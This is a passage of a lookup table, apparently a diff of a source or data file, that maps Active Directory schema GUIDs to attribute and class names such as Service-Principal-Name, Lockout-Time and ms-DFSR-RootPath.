"b7b13125-b82e-11d0-afee-0000f80367c1": "Subnet-Container", + "8297931d-86d3-11d0-afda-00c04fd930c9": "Applies-To", + "bf967991-0de6-11d0-a285-00aa003049e2": "Is-Member-Of-DL", + "dc3ca86f-70ad-4960-8425-a4d6313d93dd": "ms-DS-Failed-Interactive-Logon-Count", + "db0c90c5-c1f2-11d1-bbc5-0080c76670c0": "msRASSavedCallbackNumber", + "28630eb8-41d5-11d1-a9c1-0000f80367c1": "Service-DNS-Name", + "13361665-916c-4de7-a59d-b1ebbd0de129": "ms-DNS-NSEC3-Random-Salt-Length", + "ba305f75-47e3-11d0-a1a6-00c04fd930c9": "Asset-Number", + "19405b9d-3cfa-11d1-a9c0-0000f80367c1": "Is-Member-Of-Partial-Attribute-Set", + "c5d234e5-644a-4403-a665-e26e0aef5e98": "ms-DS-Failed-Interactive-Logon-Count-At-Last-Successful-Logon", + "db0c90c6-c1f2-11d1-bbc5-0080c76670c0": "msRASSavedFramedIPAddress", + "28630eba-41d5-11d1-a9c1-0000f80367c1": "Service-DNS-Name-Type", + "80b70aab-8959-4ec0-8e93-126e76df3aca": "ms-DNS-NSEC3-Iterations", + "ddac0cf7-af8f-11d0-afeb-00c04fd930c9": "Link-Track-OMT-Entry", + "0296c11c-40da-11d1-a9c0-0000f80367c1": "Assistant", + "19405b9c-3cfa-11d1-a9c0-0000f80367c1": "Is-Privilege-Holder", + "31f7b8b6-c9f8-4f2d-a37b-58a823030331": "ms-DS-USN-Last-Sync-Success", + "db0c90c7-c1f2-11d1-bbc5-0080c76670c0": "msRASSavedFramedRoute", + "bf967a37-0de6-11d0-a285-00aa003049e2": "Service-Instance-Version", + "8f4e317f-28d7-442c-a6df-1f491f97b326": "ms-DNS-DNSKEY-Record-Set-TTL", + "bf967ab8-0de6-11d0-a285-00aa003049e2": "Trusted-Domain", + "398f63c0-ca60-11d1-bbd1-0000f81f10c0": "Assoc-NT-Account", + "8fb59256-55f1-444b-aacb-f5b482fe3459": "Is-Recycled", + "78fc5d84-c1dc-3148-8984-58f792d41d3e": "ms-DS-Value-Type-Reference", + "bf9679d3-0de6-11d0-a285-00aa003049e2": "Must-Contain", + "f3a64788-5306-11d1-a9c5-0000f80367c1": "Service-Principal-Name", + "29869b7c-64c4-42fe-97d5-fbc2fa124160": "ms-DNS-DS-Record-Set-TTL", + "ddac0cf6-af8f-11d0-afeb-00c04fd930c9": "Link-Track-Vol-Entry", + "3320fc38-c379-4c17-a510-1bdf6133c5da": "associatedDomain", + "bf967992-0de6-11d0-a285-00aa003049e2": "Is-Single-Valued", + "ab5543ad-23a1-3b45-b937-9b313d5474a8": "ms-DS-Value-Type-Reference-BL", + "80212840-4bdc-11d1-a9c4-0000f80367c1": "Name-Service-Flags", + "7d6c0e97-7e20-11d0-afd6-00c04fd930c9": "Setup-Command", + "03d4c32e-e217-4a61-9699-7bbc4729a026": "ms-DNS-Signature-Inception-Offset", + "281416e2-1968-11d0-a28f-00aa003049e2": "Type-Library", + "f7fbfc45-85ab-42a4-a435-780e62f7858b": "associatedName", + "bac80572-09c4-4fa9-9ae6-7628d7adbe0e": "jpegPhoto", + "8a0560c1-97b9-4811-9db7-dc061598965b": "ms-DS-Optional-Feature-Flags", + "bf9679d6-0de6-11d0-a285-00aa003049e2": "NC-Name", + "553fd039-f32e-11d0-b0bc-00c04fd8dca6": "Shell-Context-Menu", + "f6b0f0be-a8e4-4468-8fd9-c3c47b8722f9": "ms-DNS-Secure-Delegation-Polling-Period", + "ddac0cf4-af8f-11d0-afeb-00c04fd930c9": "Link-Track-Volume-Table", + "fa4693bb-7bc2-4cb9-81a8-c99c43b7905e": "attributeCertificateAttribute", + "bf967993-0de6-11d0-a285-00aa003049e2": "Keywords", + "bf9679d8-0de6-11d0-a285-00aa003049e2": "NETBIOS-Name", + "52458039-ca6a-11d0-afff-0000f80367c1": "Shell-Property-Pages", + "3443d8cd-e5b6-4f3b-b098-659a0214a079": "ms-DNS-Signing-Key-Descriptors", + "bf967abb-0de6-11d0-a285-00aa003049e2": "Volume", + "cb843f80-48d9-11d1-a9c3-0000f80367c1": "Attribute-Display-Names", + "1677581f-47f3-11d1-a9c3-0000f80367c1": "Knowledge-Information", + "07383076-91df-11d1-aebc-0000f80367c1": "netboot-Allow-New-Clients", + "45b01501-c419-11d1-bbc9-0080c76670c0": "Short-Server-Name", + "b7673e6d-cad9-4e9e-b31a-63e8098fdd63": "ms-DNS-Signing-Keys", + "bf967aa0-0de6-11d0-a285-00aa003049e2": "Locality", + "bf967922-0de6-11d0-a285-00aa003049e2": "Attribute-ID", + "c569bb46-c680-44bc-a273-e6c227d71b45": "labeledURI", + "0738307b-91df-11d1-aebc-0000f80367c1": "netboot-Answer-Only-Valid-Clients", + "3e74f60e-3e73-11d1-a9c0-0000f80367c1": "Show-In-Address-Book", + "28c458f5-602d-4ac9-a77c-b3f1be503a7e": "ms-DNS-DNSKEY-Records", + "ad44bb41-67d5-4d88-b575-7b20674e76d8": "PosixAccount", + "bf967924-0de6-11d0-a285-00aa003049e2": "Attribute-Security-GUID", + "1fbb0be8-ba63-11d0-afef-0000f80367c1": "Last-Backup-Restoration-Time", + "0738307a-91df-11d1-aebc-0000f80367c1": "netboot-Answer-Requests", + "bf967984-0de6-11d0-a285-00aa003049e2": "Show-In-Advanced-View-Only", + "285c6964-c11a-499e-96d8-bf7c75a223c6": "ms-DNS-Parent-Has-Secure-Delegation", + "52ab8671-5709-11d1-a9c6-0000f80367c1": "Lost-And-Found", + "bf967925-0de6-11d0-a285-00aa003049e2": "Attribute-Syntax", + "bf967995-0de6-11d0-a285-00aa003049e2": "Last-Content-Indexed", + "5643ff81-35b6-4ca9-9512-baf0bd0a2772": "ms-FRS-Hub-Member", + "07383079-91df-11d1-aebc-0000f80367c1": "netboot-Current-Client-Count", + "17eb4278-d167-11d0-b002-0000f80367c1": "SID-History", + "ba340d47-2181-4ca0-a2f6-fae4479dab2a": "ms-DNS-Propagation-Time", + "5b6d8467-1a18-4174-b350-9cc6e7b4ac8d": "ShadowAccount", + "9a7ad944-ca53-11d1-bbd0-0080c76670c0": "Attribute-Types", + "52ab8670-5709-11d1-a9c6-0000f80367c1": "Last-Known-Parent", + "92aa27e0-5c50-402d-9ec1-ee847def9788": "ms-FRS-Topology-Pref", + "3e978921-8c01-11d0-afda-00c04fd930c9": "Netboot-GUID", + "2a39c5b2-8960-11d1-aebc-0000f80367c1": "Signature-Algorithms", + "aff16770-9622-4fbc-a128-3088777605b9": "ms-DNS-NSEC3-User-Salt", + "11b6cc94-48c4-11d1-a9c3-0000f80367c1": "Meeting", + "d0e1d224-e1a0-42ce-a2da-793ba5244f35": "audio", + "bf967996-0de6-11d0-a285-00aa003049e2": "Last-Logoff", + "1a861408-38c3-49ea-ba75-85481a77c655": "ms-DFSR-Version", + "532570bd-3d77-424f-822f-0d636dc6daad": "Netboot-DUID", + "3e978924-8c01-11d0-afda-00c04fd930c9": "Site-GUID", + "387d9432-a6d1-4474-82cd-0a89aae084ae": "ms-DNS-NSEC3-Current-Salt", + "2a9350b8-062c-4ed0-9903-dde10d06deba": "PosixGroup", + "6da8a4fe-0e52-11d0-a286-00aa003049e2": "Auditing-Policy", + "bf967997-0de6-11d0-a285-00aa003049e2": "Last-Logon", + "78f011ec-a766-4b19-adcf-7b81ed781a4d": "ms-DFSR-Extension", + "3e978920-8c01-11d0-afda-00c04fd930c9": "Netboot-Initialization", + "d50c2cdd-8951-11d1-aebc-0000f80367c1": "Site-Link-List", + "07831919-8f94-4fb6-8a42-91545dccdad3": "ms-Authz-Effective-Security-Policy", + "c9010e74-4e58-49f7-8a89-5e3e2340fcf8": "ms-COM-Partition", + "bf967928-0de6-11d0-a285-00aa003049e2": "Authentication-Options", + "c0e20a04-0e5a-4ff3-9482-5efeaecd7060": "Last-Logon-Timestamp", + "d7d5e8c1-e61f-464f-9fcf-20bbe0a2ec54": "ms-DFSR-RootPath", + "0738307e-91df-11d1-aebc-0000f80367c1": "netboot-IntelliMirror-OSes", + "d50c2cdc-8951-11d1-aebc-0000f80367c1": "Site-List", + "b946bece-09b5-4b6a-b25a-4b63a330e80e": "ms-Authz-Proposed-Security-Policy", + "2517fadf-fa97-48ad-9de6-79ac5721f864": "IpService", + "1677578d-47f3-11d1-a9c3-0000f80367c1": "Authority-Revocation-List", + "bf967998-0de6-11d0-a285-00aa003049e2": "Last-Set-Time", + "90b769ac-4413-43cf-ad7a-867142e740a3": "ms-DFSR-RootSizeInMb", + "07383077-91df-11d1-aebc-0000f80367c1": "netboot-Limit-Clients", + "3e10944c-c354-11d0-aff8-0000f80367c1": "Site-Object", + "8e1685c6-3e2f-48a2-a58d-5af0ea789fa0": "ms-Authz-Last-Effective-Security-Policy", + "250464ab-c417-497a-975a-9e0d459a7ca1": "ms-COM-PartitionSet", + "bf96792c-0de6-11d0-a285-00aa003049e2": "Auxiliary-Class", + "7d6c0e9c-7e20-11d0-afd6-00c04fd930c9": "Last-Update-Sequence", + "86b9a69e-f0a6-405d-99bb-77d977992c2a": "ms-DFSR-StagingPath", + "07383080-91df-11d1-aebc-0000f80367c1": "netboot-Locally-Installed-OSes", + "3e10944d-c354-11d0-aff8-0000f80367c1": "Site-Object-BL", + "80997877-f874-4c68-864d-6e508a83bdbd": "ms-Authz-Resource-Condition", + "9c2dcbd2-fbf0-4dc7-ace0-8356dcd0f013": "IpProtocol", + "bf96792d-0de6-11d0-a285-00aa003049e2": "Bad-Password-Time", + "7359a352-90f7-11d1-aebc-0000f80367c1": "LDAP-Admin-Limits", + "250a8f20-f6fc-4559-ae65-e4b24c67aebe": "ms-DFSR-StagingSizeInMb", + "3e978923-8c01-11d0-afda-00c04fd930c9": "Netboot-Machine-File-Path", + "1be8f17c-a9ff-11d0-afe2-00c04fd930c9": "Site-Server", + "62f29b60-be74-4630-9456-2f6691993a86": "ms-Authz-Central-Access-Policy-ID", + "90df3c3e-1854-4455-a5d7-cad40d56657a": "ms-DS-App-Configuration", + "bf96792e-0de6-11d0-a285-00aa003049e2": "Bad-Pwd-Count", + "bf96799a-0de6-11d0-a285-00aa003049e2": "LDAP-Display-Name", + "5cf0bcc8-60f7-4bff-bda6-aea0344eb151": "ms-DFSR-ConflictPath", + "07383078-91df-11d1-aebc-0000f80367c1": "netboot-Max-Clients", + "26d9736f-6070-11d1-a9c6-0000f80367c1": "SMTP-Mail-Address", + "57f22f7a-377e-42c3-9872-cec6f21d2e3e": "ms-Authz-Member-Rules-In-Central-Access-Policy", + "cadd1e5e-fefc-4f3f-b5a9-70e994204303": "OncRpc", + "1f0075f9-7e40-11d0-afd6-00c04fd930c9": "Birth-Location", + "7359a353-90f7-11d1-aebc-0000f80367c1": "LDAP-IPDeny-List", + "9ad33fc9-aacf-4299-bb3e-d1fc6ea88e49": "ms-DFSR-ConflictSizeInMb", + "2df90d85-009f-11d2-aa4c-00c04fd7d83a": "Netboot-Mirror-Data-File", + "2ab0e76c-7041-11d2-9905-0000f87a57d4": "SPN-Mappings", + "516e67cf-fedd-4494-bb3a-bc506a948891": "ms-Authz-Member-Rules-In-Central-Access-Policy-BL", + "9e67d761-e327-4d55-bc95-682f875e2f8e": "ms-DS-App-Data", + "d50c2cdb-8951-11d1-aebc-0000f80367c1": "Bridgehead-Server-List-BL", + "03726ae7-8e7d-4446-8aae-a91657c00993": "ms-DFSR-Enabled", + "0738307c-91df-11d1-aebc-0000f80367c1": "netboot-New-Machine-Naming-Policy", + "bf967a39-0de6-11d0-a285-00aa003049e2": "State-Or-Province-Name", + "fa32f2a6-f28b-47d0-bf91-663e8f910a72": "ms-DS-Claim-Source", + "ab911646-8827-4f95-8780-5a8f008eb68f": "IpHost", + "d50c2cda-8951-11d1-aebc-0000f80367c1": "Bridgehead-Transport-List", + "bf96799b-0de6-11d0-a285-00aa003049e2": "Link-ID", + "eeed0fc8-1001-45ed-80cc-bbf744930720": "ms-DFSR-ReplicationGroupType", + "0738307d-91df-11d1-aebc-0000f80367c1": "netboot-New-Machine-OU", + "bf967a3a-0de6-11d0-a285-00aa003049e2": "Street-Address", + "92f19c05-8dfa-4222-bbd1-2c4f01487754": "ms-DS-Claim-Source-Type", + "cfee1051-5f28-4bae-a863-5d0cc18a8ed1": "ms-DS-Az-Admin-Manager", + "f87fa54b-b2c5-4fd7-88c0-daccb21d93c5": "buildingName", + "2ae80fe2-47b4-11d0-a1a4-00c04fd930c9": "Link-Track-Secret", + "23e35d4c-e324-4861-a22f-e199140dae00": "ms-DFSR-TombstoneExpiryInMin", + "07383082-91df-11d1-aebc-0000f80367c1": "netboot-SCP-BL", + "3860949f-f6a8-4b38-9950-81ecb6bc2982": "Structural-Object-Class", + "0c2ce4c7-f1c3-4482-8578-c60d4bb74422": "ms-DS-Claim-Is-Value-Space-Restricted", + "d95836c3-143e-43fb-992a-b057f1ecadf9": "IpNetwork", + "bf96792f-0de6-11d0-a285-00aa003049e2": "Builtin-Creation-Time", + "bf96799d-0de6-11d0-a285-00aa003049e2": "Lm-Pwd-History", + "d68270ac-a5dc-4841-a6ac-cd68be38c181": "ms-DFSR-FileFilter", + "07383081-91df-11d1-aebc-0000f80367c1": "netboot-Server", + "bf967a3b-0de6-11d0-a285-00aa003049e2": "Sub-Class-Of", + "cd789fb9-96b4-4648-8219-ca378161af38": "ms-DS-Claim-Is-Single-Valued", + "ddf8de9b-cba5-4e12-842e-28d8b66f75ec": "ms-DS-Az-Application", + "bf967930-0de6-11d0-a285-00aa003049e2": "Builtin-Modified-Count", + "bf96799e-0de6-11d0-a285-00aa003049e2": "Local-Policy-Flags", + "93c7b477-1f2e-4b40-b7bf-007e8d038ccf": "ms-DFSR-DirectoryFilter", + "2df90d84-009f-11d2-aa4c-00c04fd7d83a": "Netboot-SIF-File", + "bf967a3c-0de6-11d0-a285-00aa003049e2": "Sub-Refs", + "1e5d393d-8cb7-4b4f-840a-973b36cc09c3": "ms-DS-Generation-Id", + "72efbf84-6e7b-4a5c-a8db-8a75a7cad254": "NisNetgroup", + "bf967931-0de6-11d0-a285-00aa003049e2": "Business-Category", + "80a67e4d-9f22-11d0-afdd-00c04fd930c9": "Local-Policy-Reference", + "4699f15f-a71f-48e2-9ff5-5897c0759205": "ms-DFSR-Schedule", + "0738307f-91df-11d1-aebc-0000f80367c1": "netboot-Tools", + "9a7ad94d-ca53-11d1-bbd0-0080c76670c0": "SubSchemaSubEntry", + "a13df4e2-dbb0-4ceb-828b-8b2e143e9e81": "ms-DS-Primary-Computer", + "860abe37-9a9b-4fa4-b3d2-b8ace5df9ec5": "ms-DS-Az-Operation", + "ba305f76-47e3-11d0-a1a6-00c04fd930c9": "Bytes-Per-Minute", + "bf9679a1-0de6-11d0-a285-00aa003049e2": "Locale-ID", + "048b4692-6227-4b67-a074-c4437083e14b": "ms-DFSR-Keywords", + "bf9679d9-0de6-11d0-a285-00aa003049e2": "Network-Address", + "963d274c-48be-11d1-a9c3-0000f80367c1": "Super-Scope-Description", + "998c06ac-3f87-444e-a5df-11b03dc8a50c": "ms-DS-Is-Primary-Computer-For", + "7672666c-02c1-4f33-9ecf-f649c1dd9b7c": "NisMap", + "bf967932-0de6-11d0-a285-00aa003049e2": "CA-Certificate", + "bf9679a2-0de6-11d0-a285-00aa003049e2": "Locality-Name", + "fe515695-3f61-45c8-9bfa-19c148c57b09": "ms-DFSR-Flags", + "bf9679da-0de6-11d0-a285-00aa003049e2": "Next-Level-Store", + "963d274b-48be-11d1-a9c3-0000f80367c1": "Super-Scopes", + "db2c48b2-d14d-ec4e-9f58-ad579d8b440e": "ms-Kds-KDF-AlgorithmID", + "8213eac9-9d55-44dc-925c-e9a52b927644": "ms-DS-Az-Role", + "963d2740-48be-11d1-a9c3-0000f80367c1": "CA-Certificate-DN", + "d9e18316-8939-11d1-aebc-0000f80367c1": "Localized-Description", + "d6d67084-c720-417d-8647-b696237a114c": "ms-DFSR-Options", + "bf9679db-0de6-11d0-a285-00aa003049e2": "Next-Rid", + "5245801d-ca6a-11d0-afff-0000f80367c1": "Superior-DNS-Root", + "8a800772-f4b8-154f-b41c-2e4271eff7a7": "ms-Kds-KDF-Param", + "904f8a93-4954-4c5f-b1e1-53c097a31e13": "NisObject", + "963d2735-48be-11d1-a9c3-0000f80367c1": "CA-Connect", + "a746f0d1-78d0-11d2-9916-0000f87a57d4": "Localization-Display-Id", + "1035a8e1-67a8-4c21-b7bb-031cdf99d7a0": "ms-DFSR-ContentSetGuid", + "52458018-ca6a-11d0-afff-0000f80367c1": "Non-Security-Member", + "bf967a3f-0de6-11d0-a285-00aa003049e2": "Supplemental-Credentials", + "1702975d-225e-cb4a-b15d-0daea8b5e990": "ms-Kds-SecretAgreement-AlgorithmID", + "4feae054-ce55-47bb-860e-5b12063a51de": "ms-DS-Az-Scope", + "963d2738-48be-11d1-a9c3-0000f80367c1": "CA-Usages", + "09dcb79f-165f-11d0-a064-00aa006c33ed": "Location", + "e3b44e05-f4a7-4078-a730-f48670a743f8": "ms-DFSR-RdcEnabled", + "52458019-ca6a-11d0-afff-0000f80367c1": "Non-Security-Member-BL", + "1677588f-47f3-11d1-a9c3-0000f80367c1": "Supported-Application-Context", + "30b099d9-edfe-7549-b807-eba444da79e9": "ms-Kds-SecretAgreement-Param", + "a699e529-a637-4b7d-a0fb-5dc466a0b8a7": "IEEE802Device", + "963d2736-48be-11d1-a9c3-0000f80367c1": "CA-WEB-URL", + "bf9679a4-0de6-11d0-a285-00aa003049e2": "Lock-Out-Observation-Window", + "f402a330-ace5-4dc1-8cc9-74d900bf8ae0": "ms-DFSR-RdcMinFileSizeInKb", + "19195a56-6da0-11d0-afd3-00c04fd930c9": "Notification-List", + "bf967a41-0de6-11d0-a285-00aa003049e2": "Surname", + "e338f470-39cd-4549-ab5b-f69f9e583fe0": "ms-Kds-PublicKey-Length", + "1ed3a473-9b1b-418a-bfa0-3a37b95a5306": "ms-DS-Az-Task", + "d9e18314-8939-11d1-aebc-0000f80367c1": "Can-Upgrade-Script", + "bf9679a5-0de6-11d0-a285-00aa003049e2": "Lockout-Duration", + "2cc903e2-398c-443b-ac86-ff6b01eac7ba": "ms-DFSR-DfsPath", + "bf9679df-0de6-11d0-a285-00aa003049e2": "NT-Group-Members", + "037651e4-441d-11d1-a9c3-0000f80367c1": "Sync-Attributes", + "615f42a1-37e7-1148-a0dd-3007e09cfc81": "ms-Kds-PrivateKey-Length", + "4bcb2477-4bb3-4545-a9fc-fb66e136b435": "BootableDevice", + "9a7ad945-ca53-11d1-bbd0-0080c76670c0": "Canonical-Name", + "bf9679a6-0de6-11d0-a285-00aa003049e2": "Lockout-Threshold", + "51928e94-2cd8-4abe-b552-e50412444370": "ms-DFSR-RootFence", + "3e97891f-8c01-11d0-afda-00c04fd930c9": "NT-Mixed-Domain", + "037651e3-441d-11d1-a9c3-0000f80367c1": "Sync-Membership", + "26627c27-08a2-0a40-a1b1-8dce85b42993": "ms-Kds-RootKeyData", + "44f00041-35af-468b-b20a-6ce8737c580b": "ms-DS-Optional-Feature", + "d4159c92-957d-4a87-8a67-8d2934e01649": "carLicense", + "28630ebf-41d5-11d1-a9c1-0000f80367c1": "Lockout-Time", + "2dad8796-7619-4ff8-966e-0a5cc67b287f": "ms-DFSR-ReplicationGroupGuid", + "bf9679e2-0de6-11d0-a285-00aa003049e2": "Nt-Pwd-History", + "037651e2-441d-11d1-a9c3-0000f80367c1": "Sync-With-Object", + "d5f07340-e6b0-1e4a-97be-0d3318bd9db1": "ms-Kds-Version", + "d6710785-86ff-44b7-85b5-f1f8689522ce": "msSFU-30-Mail-Aliases", + "7bfdcb81-4807-11d1-a9c3-0000f80367c1": "Catalogs", + "bf9679a9-0de6-11d0-a285-00aa003049e2": "Logo", + "f7b85ba9-3bf9-428f-aab4-2eee6d56f063": "ms-DFSR-DfsLinkTarget", + "bf9679e3-0de6-11d0-a285-00aa003049e2": "NT-Security-Descriptor", + "037651e5-441d-11d1-a9c3-0000f80367c1": "Sync-With-SID", + "96400482-cf07-e94c-90e8-f2efc4f0495e": "ms-Kds-DomainID", + "3bcd9db8-f84b-451c-952f-6c52b81f9ec6": "ms-DS-Password-Settings", + "7bfdcb7e-4807-11d1-a9c3-0000f80367c1": "Categories", + "bf9679aa-0de6-11d0-a285-00aa003049e2": "Logon-Count", + "261337aa-f1c3-44b2-bbea-c88d49e6f0c7": "ms-DFSR-MemberReference", + "bf9679e4-0de6-11d0-a285-00aa003049e2": "Obj-Dist-Name", + "bf967a43-0de6-11d0-a285-00aa003049e2": "System-Auxiliary-Class", + "6cdc047f-f522-b74a-9a9c-d95ac8cdfda2": "ms-Kds-UseStartTime", + "e263192c-2a02-48df-9792-94f2328781a0": "msSFU-30-Net-Id", + "7d6c0e94-7e20-11d0-afd6-00c04fd930c9": "Category-Id", + "bf9679ab-0de6-11d0-a285-00aa003049e2": "Logon-Hours", + "6c7b5785-3d21-41bf-8a8a-627941544d5a": "ms-DFSR-ComputerReference", + "26d97369-6070-11d1-a9c6-0000f80367c1": "Object-Category", + "e0fa1e62-9b45-11d0-afdd-00c04fd930c9": "System-Flags", + "ae18119f-6390-0045-b32d-97dbc701aef7": "ms-Kds-CreateTime", + "5b06b06a-4cf3-44c0-bd16-43bc10a987da": "ms-DS-Password-Settings-Container", + "963d2732-48be-11d1-a9c3-0000f80367c1": "Certificate-Authority-Object", + "bf9679ac-0de6-11d0-a285-00aa003049e2": "Logon-Workstation", + "adde62c6-1880-41ed-bd3c-30b7d25e14f0": "ms-DFSR-MemberReferenceBL", + "bf9679e5-0de6-11d0-a285-00aa003049e2": "Object-Class", + "bf967a44-0de6-11d0-a285-00aa003049e2": "System-May-Contain", + "9cdfdbc5-0304-4569-95f6-c4f663fe5ae6": "ms-Imaging-Thumbprint-Hash", + "36297dce-656b-4423-ab65-dabb2770819e": "msSFU-30-Domain-Info", + "1677579f-47f3-11d1-a9c3-0000f80367c1": "Certificate-Revocation-List", + "bf9679ad-0de6-11d0-a285-00aa003049e2": "LSA-Creation-Time", + "5eb526d7-d71b-44ae-8cc6-95460052e6ac": "ms-DFSR-ComputerReferenceBL", + "bf9679e6-0de6-11d0-a285-00aa003049e2": "Object-Class-Category", + "bf967a45-0de6-11d0-a285-00aa003049e2": "System-Must-Contain", + "8ae70db5-6406-4196-92fe-f3bb557520a7": "ms-Imaging-Hash-Algorithm", + "da83fc4f-076f-4aea-b4dc-8f4dab9b5993": "ms-DS-Quota-Container", + "2a39c5b1-8960-11d1-aebc-0000f80367c1": "Certificate-Templates", + "bf9679ae-0de6-11d0-a285-00aa003049e2": "LSA-Modified-Count", + "eb20e7d6-32ad-42de-b141-16ad2631b01b": "ms-DFSR-Priority", + "9a7ad94b-ca53-11d1-bbd0-0080c76670c0": "Object-Classes", + "bf967a46-0de6-11d0-a285-00aa003049e2": "System-Only", + "3f78c3e5-f79a-46bd-a0b8-9d18116ddc79": "ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity", + "e15334a3-0bf0-4427-b672-11f5d84acc92": "msSFU-30-Network-User", + "548e1c22-dea6-11d0-b010-0000f80367c1": "Class-Display-Name", + "bf9679af-0de6-11d0-a285-00aa003049e2": "Machine-Architecture", + "817cf0b8-db95-4914-b833-5a079ef65764": "ms-DFSR-DeletedPath", + "34aaa216-b699-11d0-afee-0000f80367c1": "Object-Count", + "bf967a47-0de6-11d0-a285-00aa003049e2": "System-Poss-Superiors", + "e362ed86-b728-0842-b27d-2dea7a9df218": "ms-DS-ManagedPassword", + "de91fc26-bd02-4b52-ae26-795999e96fc7": "ms-DS-Quota-Control", + "bf967938-0de6-11d0-a285-00aa003049e2": "Code-Page", + "c9b6358e-bb38-11d0-afef-0000f80367c1": "Machine-Password-Change-Interval", + "53ed9ad1-9975-41f4-83f5-0c061a12553a": "ms-DFSR-DeletedSizeInMb", + "bf9679e7-0de6-11d0-a285-00aa003049e2": "Object-Guid", + "bf967a49-0de6-11d0-a285-00aa003049e2": "Telephone-Number", + "0e78295a-c6d3-0a40-b491-d62251ffa0a6": "ms-DS-ManagedPasswordId", + "faf733d0-f8eb-4dcf-8d75-f1753af6a50b": "msSFU-30-NIS-Map-Config", + "bf96793b-0de6-11d0-a285-00aa003049e2": "COM-ClassID", + "bf9679b2-0de6-11d0-a285-00aa003049e2": "Machine-Role", + "5ac48021-e447-46e7-9d23-92c0c6a90dfb": "ms-DFSR-ReadOnly", + "bf9679e8-0de6-11d0-a285-00aa003049e2": "Object-Sid", + "bf967a4a-0de6-11d0-a285-00aa003049e2": "Teletex-Terminal-Identifier", + "d0d62131-2d4a-d04f-99d9-1c63646229a4": "ms-DS-ManagedPasswordPreviousId", + "ce206244-5827-4a86-ba1c-1c0c386c1b64": "ms-DS-Managed-Service-Account", + "281416d9-1968-11d0-a28f-00aa003049e2": "COM-CLSID", + "80a67e4f-9f22-11d0-afdd-00c04fd930c9": "Machine-Wide-Policy", + "db7a08e7-fc76-4569-a45f-f5ecb66a88b5": "ms-DFSR-CachePolicy", + "16775848-47f3-11d1-a9c3-0000f80367c1": "Object-Version", + "bf967a4b-0de6-11d0-a285-00aa003049e2": "Telex-Number", + "f8758ef7-ac76-8843-a2ee-a26b4dcaf409": "ms-DS-ManagedPasswordInterval", + "1cb81863-b822-4379-9ea2-5ff7bdc6386d": "ms-net-ieee-80211-GroupPolicy", + "bf96793c-0de6-11d0-a285-00aa003049e2": "COM-InterfaceID", + "0296c120-40da-11d1-a9c0-0000f80367c1": "Managed-By", + "4c5d607a-ce49-444a-9862-82a95f5d1fcc": "ms-DFSR-MinDurationCacheInMin", + "bf9679ea-0de6-11d0-a285-00aa003049e2": "OEM-Information", + "0296c121-40da-11d1-a9c0-0000f80367c1": "Telex-Primary", + "888eedd6-ce04-df40-b462-b8a50e41ba38": "ms-DS-GroupMSAMembership", + "281416dd-1968-11d0-a28f-00aa003049e2": "COM-Other-Prog-Id", + "0296c124-40da-11d1-a9c0-0000f80367c1": "Managed-Objects", + "2ab0e48d-ac4e-4afc-83e5-a34240db6198": "ms-DFSR-MaxAgeInCacheInMin", + "bf9679ec-0de6-11d0-a285-00aa003049e2": "OM-Object-Class", + "ed9de9a0-7041-11d2-9905-0000f87a57d4": "Template-Roots", + "55872b71-c4b2-3b48-ae51-4095f91ec600": "ms-DS-Transformation-Rules", + "99a03a6a-ab19-4446-9350-0cb878ed2d9b": "ms-net-ieee-8023-GroupPolicy", + "bf96793d-0de6-11d0-a285-00aa003049e2": "COM-ProgID", + "bf9679b5-0de6-11d0-a285-00aa003049e2": "Manager", + "43061ac1-c8ad-4ccc-b785-2bfac20fc60a": "ms-FVE-RecoveryPassword", + "bf9679ed-0de6-11d0-a285-00aa003049e2": "OM-Syntax", + "6db69a1c-9422-11d1-aebd-0000f80367c1": "Terminal-Server", + "86284c08-0c6e-1540-8b15-75147d23d20d": "ms-DS-Ingress-Claims-Transformation-Policy", + "fa85c591-197f-477e-83bd-ea5a43df2239": "ms-DFSR-LocalSettings", + "281416db-1968-11d0-a28f-00aa003049e2": "COM-Treat-As-Class-Id", + "bf9679b7-0de6-11d0-a285-00aa003049e2": "MAPI-ID", + "85e5a5cf-dcee-4075-9cfd-ac9db6a2f245": "ms-FVE-VolumeGuid", + "ddac0cf3-af8f-11d0-afeb-00c04fd930c9": "OMT-Guid", + "f0f8ffa7-1191-11d0-a060-00aa006c33ed": "Text-Country", + "c137427e-9a73-b040-9190-1b095bb43288": "ms-DS-Egress-Claims-Transformation-Policy", + "ea715d30-8f53-40d0-bd1e-6109186d782c": "ms-FVE-RecoveryInformation", + "281416de-1968-11d0-a28f-00aa003049e2": "COM-Typelib-Id", + "bf9679b9-0de6-11d0-a285-00aa003049e2": "Marshalled-Interface", + "1fd55ea8-88a7-47dc-8129-0daa97186a54": "ms-FVE-KeyPackage", + "1f0075fa-7e40-11d0-afd6-00c04fd930c9": "OMT-Indx-Guid", + "a8df7489-c5ea-11d1-bbcb-0080c76670c0": "Text-Encoded-OR-Address", + "d5006229-9913-2242-8b17-83761d1e0e5b": "ms-DS-TDO-Egress-BL", + "e11505d7-92c4-43e7-bf5c-295832ffc896": "ms-DFSR-Subscriber", + "281416da-1968-11d0-a28f-00aa003049e2": "COM-Unique-LIBID", + "e48e64e0-12c9-11d3-9102-00c04fd91ab1": "Mastered-By", + "f76909bc-e678-47a0-b0b3-f86a0044c06d": "ms-FVE-RecoveryGuid", + "3e978925-8c01-11d0-afda-00c04fd930c9": "Operating-System", + "ddac0cf1-af8f-11d0-afeb-00c04fd930c9": "Time-Refresh", + "5a5661a1-97c6-544b-8056-e430fe7bc554": "ms-DS-TDO-Ingress-BL", + "25173408-04ca-40e8-865e-3f9ce9bf1bd3": "ms-DFS-Deleted-Link-v2", + "bf96793e-0de6-11d0-a285-00aa003049e2": "Comment", + "bf9679bb-0de6-11d0-a285-00aa003049e2": "Max-Pwd-Age", + "aa4e1a6d-550d-4e05-8c35-4afcb917a9fe": "ms-TPM-OwnerInformation", + "bd951b3c-9c96-11d0-afdd-00c04fd930c9": "Operating-System-Hotfix", + "ddac0cf0-af8f-11d0-afeb-00c04fd930c9": "Time-Vol-Change", + "0bb49a10-536b-bc4d-a273-0bab0dd4bd10": "ms-DS-Transformation-Rules-Compiled", + "67212414-7bcc-4609-87e0-088dad8abdee": "ms-DFSR-Subscription", + "bf96793f-0de6-11d0-a285-00aa003049e2": "Common-Name", + "bf9679bc-0de6-11d0-a285-00aa003049e2": "Max-Renew-Age", + "0e0d0938-2658-4580-a9f6-7a0ac7b566cb": "ms-ieee-80211-Data", + "3e978927-8c01-11d0-afda-00c04fd930c9": "Operating-System-Service-Pack", + "bf967a55-0de6-11d0-a285-00aa003049e2": "Title", + "693f2006-5764-3d4a-8439-58f04aab4b59": 